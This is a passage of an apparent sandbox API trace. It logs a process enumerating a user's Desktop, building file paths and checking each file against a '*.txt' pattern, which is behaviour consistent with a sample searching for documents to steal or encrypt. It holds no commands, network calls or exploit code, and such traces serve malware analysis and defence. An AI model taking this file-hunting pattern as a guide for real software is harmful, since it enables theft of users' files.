cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.261] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.261] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.261] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*.txt") returned 0 [0146.261] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.261] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e4c910, ftCreationTime.dwHighDateTime=0x1d7a29a, ftLastAccessTime.dwLowDateTime=0x14e40270, ftLastAccessTime.dwHighDateTime=0x1d7ad13, ftLastWriteTime.dwLowDateTime=0x14e40270, ftLastWriteTime.dwHighDateTime=0x1d7ad13, nFileSizeHigh=0x0, nFileSizeLow=0x4cca, dwReserved0=0x0, dwReserved1=0x0, cFileName="IfzBpGV_K 2s4OumEYx.bmp", cAlternateFileName="IFZBPG~1.BMP")) returned 1 [0146.262] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.262] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.262] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp" [0146.262] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.262] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.262] lstrcatW (in: lpString1="\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="\\IfzBpGV_K 2s4OumEYx.bmp") returned="\\IfzBpGV_K 2s4OumEYx.bmp" [0146.262] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0146.262] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x2360560 [0146.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x2360560, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", lpUsedDefaultChar=0x0) returned 55 [0146.262] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4f8 [0146.262] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.262] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.262] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab70 [0146.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab70, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.262] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab70 | out: hHeap=0x2360000) returned 1 [0146.262] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*.txt") returned 0 [0146.262] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4f8 | out: hHeap=0x2360000) returned 1 [0146.262] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2d4e00, ftCreationTime.dwHighDateTime=0x1d7aeb1, ftLastAccessTime.dwLowDateTime=0x6d8a7ec0, ftLastAccessTime.dwHighDateTime=0x1d7afea, ftLastWriteTime.dwLowDateTime=0x6d8a7ec0, ftLastWriteTime.dwHighDateTime=0x1d7afea, nFileSizeHigh=0x0, nFileSizeLow=0xfc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="itQ3y7 _7jtUy-n5Tj.wav", cAlternateFileName="ITQ3Y7~1.WAV")) returned 1 [0146.262] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.262] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.262] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav" [0146.262] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.262] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.262] lstrcatW (in: lpString1="\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="\\itQ3y7 _7jtUy-n5Tj.wav") returned="\\itQ3y7 _7jtUy-n5Tj.wav" [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x2360560 [0146.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x2360560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", lpUsedDefaultChar=0x0) returned 54 [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba738 [0146.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.263] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*.txt") returned 0 [0146.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba738 | out: hHeap=0x2360000) returned 1 [0146.263] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee1fc0, ftCreationTime.dwHighDateTime=0x1d7a281, ftLastAccessTime.dwLowDateTime=0xc160d1b0, ftLastAccessTime.dwHighDateTime=0x1d7a555, ftLastWriteTime.dwLowDateTime=0xc160d1b0, ftLastWriteTime.dwHighDateTime=0x1d7a555, nFileSizeHigh=0x0, nFileSizeLow=0x1065, dwReserved0=0x0, dwReserved1=0x0, cFileName="kftoKnOna.m4a", cAlternateFileName="KFTOKN~1.M4A")) returned 1 [0146.263] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.263] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.263] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="kftoKnOna.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a" [0146.263] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.263] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.263] lstrcatW (in: lpString1="\\", lpString2="kftoKnOna.m4a" | out: lpString1="\\kftoKnOna.m4a") returned="\\kftoKnOna.m4a" [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x2360550 [0146.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x2360550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", lpUsedDefaultChar=0x0) returned 45 [0146.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac18 [0146.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac18, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac18 | out: hHeap=0x2360000) returned 1 [0146.264] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*.txt") returned 0 [0146.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.264] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220822b0, ftCreationTime.dwHighDateTime=0x1d7a1b5, ftLastAccessTime.dwLowDateTime=0x795f46e0, ftLastAccessTime.dwHighDateTime=0x1d7a856, ftLastWriteTime.dwLowDateTime=0x795f46e0, ftLastWriteTime.dwHighDateTime=0x1d7a856, nFileSizeHigh=0x0, nFileSizeLow=0x12e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="KrqEI2ID-.bmp", cAlternateFileName="KRQEI2~1.BMP")) returned 1 [0146.264] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.264] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.264] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp" [0146.264] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.264] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.264] lstrcatW (in: lpString1="\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="\\KrqEI2ID-.bmp") returned="\\KrqEI2ID-.bmp" [0146.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x2360550 [0146.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x2360550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", lpUsedDefaultChar=0x0) returned 45 [0146.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.279] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.287] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab70 [0146.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab70, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.288] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab70 | out: hHeap=0x2360000) returned 1 [0146.288] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*.txt") returned 0 [0146.288] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.288] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19e8210, ftCreationTime.dwHighDateTime=0x1d7a37b, ftLastAccessTime.dwLowDateTime=0x487c7e0, ftLastAccessTime.dwHighDateTime=0x1d7b03d, ftLastWriteTime.dwLowDateTime=0x487c7e0, ftLastWriteTime.dwHighDateTime=0x1d7b03d, nFileSizeHigh=0x0, nFileSizeLow=0x1a1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="M8FP6UY.png", cAlternateFileName="")) returned 1 [0146.288] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.288] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.288] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="M8FP6UY.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png" [0146.288] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.288] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.288] lstrcatW (in: lpString1="\\", lpString2="M8FP6UY.png" | out: lpString1="\\M8FP6UY.png") returned="\\M8FP6UY.png" [0146.288] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.288] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x2360550 [0146.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x2360550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", lpUsedDefaultChar=0x0) returned 43 [0146.288] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.289] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.289] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.289] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aae0 [0146.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aae0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.289] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aae0 | out: hHeap=0x2360000) returned 1 [0146.289] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*.txt") returned 0 [0146.289] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5551b8a0, ftCreationTime.dwHighDateTime=0x1d7aa9f, ftLastAccessTime.dwLowDateTime=0x905c4cf0, ftLastAccessTime.dwHighDateTime=0x1d7aff7, ftLastWriteTime.dwLowDateTime=0x905c4cf0, ftLastWriteTime.dwHighDateTime=0x1d7aff7, nFileSizeHigh=0x0, nFileSizeLow=0x9dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="MApTBDPnV.mkv", cAlternateFileName="MAPTBD~1.MKV")) returned 1 [0146.289] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.289] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.289] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MApTBDPnV.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv" [0146.289] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.289] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.289] lstrcatW (in: lpString1="\\", lpString2="MApTBDPnV.mkv" | out: lpString1="\\MApTBDPnV.mkv") returned="\\MApTBDPnV.mkv" [0146.289] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.289] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x2360550 [0146.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x2360550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", lpUsedDefaultChar=0x0) returned 45 [0146.290] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.290] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.290] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.290] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac30 [0146.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac30, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.290] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0146.290] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*.txt") returned 0 [0146.290] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.290] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67bb7db0, ftCreationTime.dwHighDateTime=0x1d7b04d, ftLastAccessTime.dwLowDateTime=0xcf897290, ftLastAccessTime.dwHighDateTime=0x1d7b051, ftLastWriteTime.dwLowDateTime=0xcf897290, ftLastWriteTime.dwHighDateTime=0x1d7b051, nFileSizeHigh=0x0, nFileSizeLow=0x15c27, dwReserved0=0x0, dwReserved1=0x0, cFileName="op27XFjVBcQnQEISZr.avi", cAlternateFileName="OP27XF~1.AVI")) returned 1 [0146.290] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.297] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.297] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi" [0146.297] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.297] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.297] lstrcatW (in: lpString1="\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="\\op27XFjVBcQnQEISZr.avi") returned="\\op27XFjVBcQnQEISZr.avi" [0146.297] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.298] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x2360560 [0146.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x2360560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", lpUsedDefaultChar=0x0) returned 54 [0146.298] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba348 [0146.298] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.298] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, 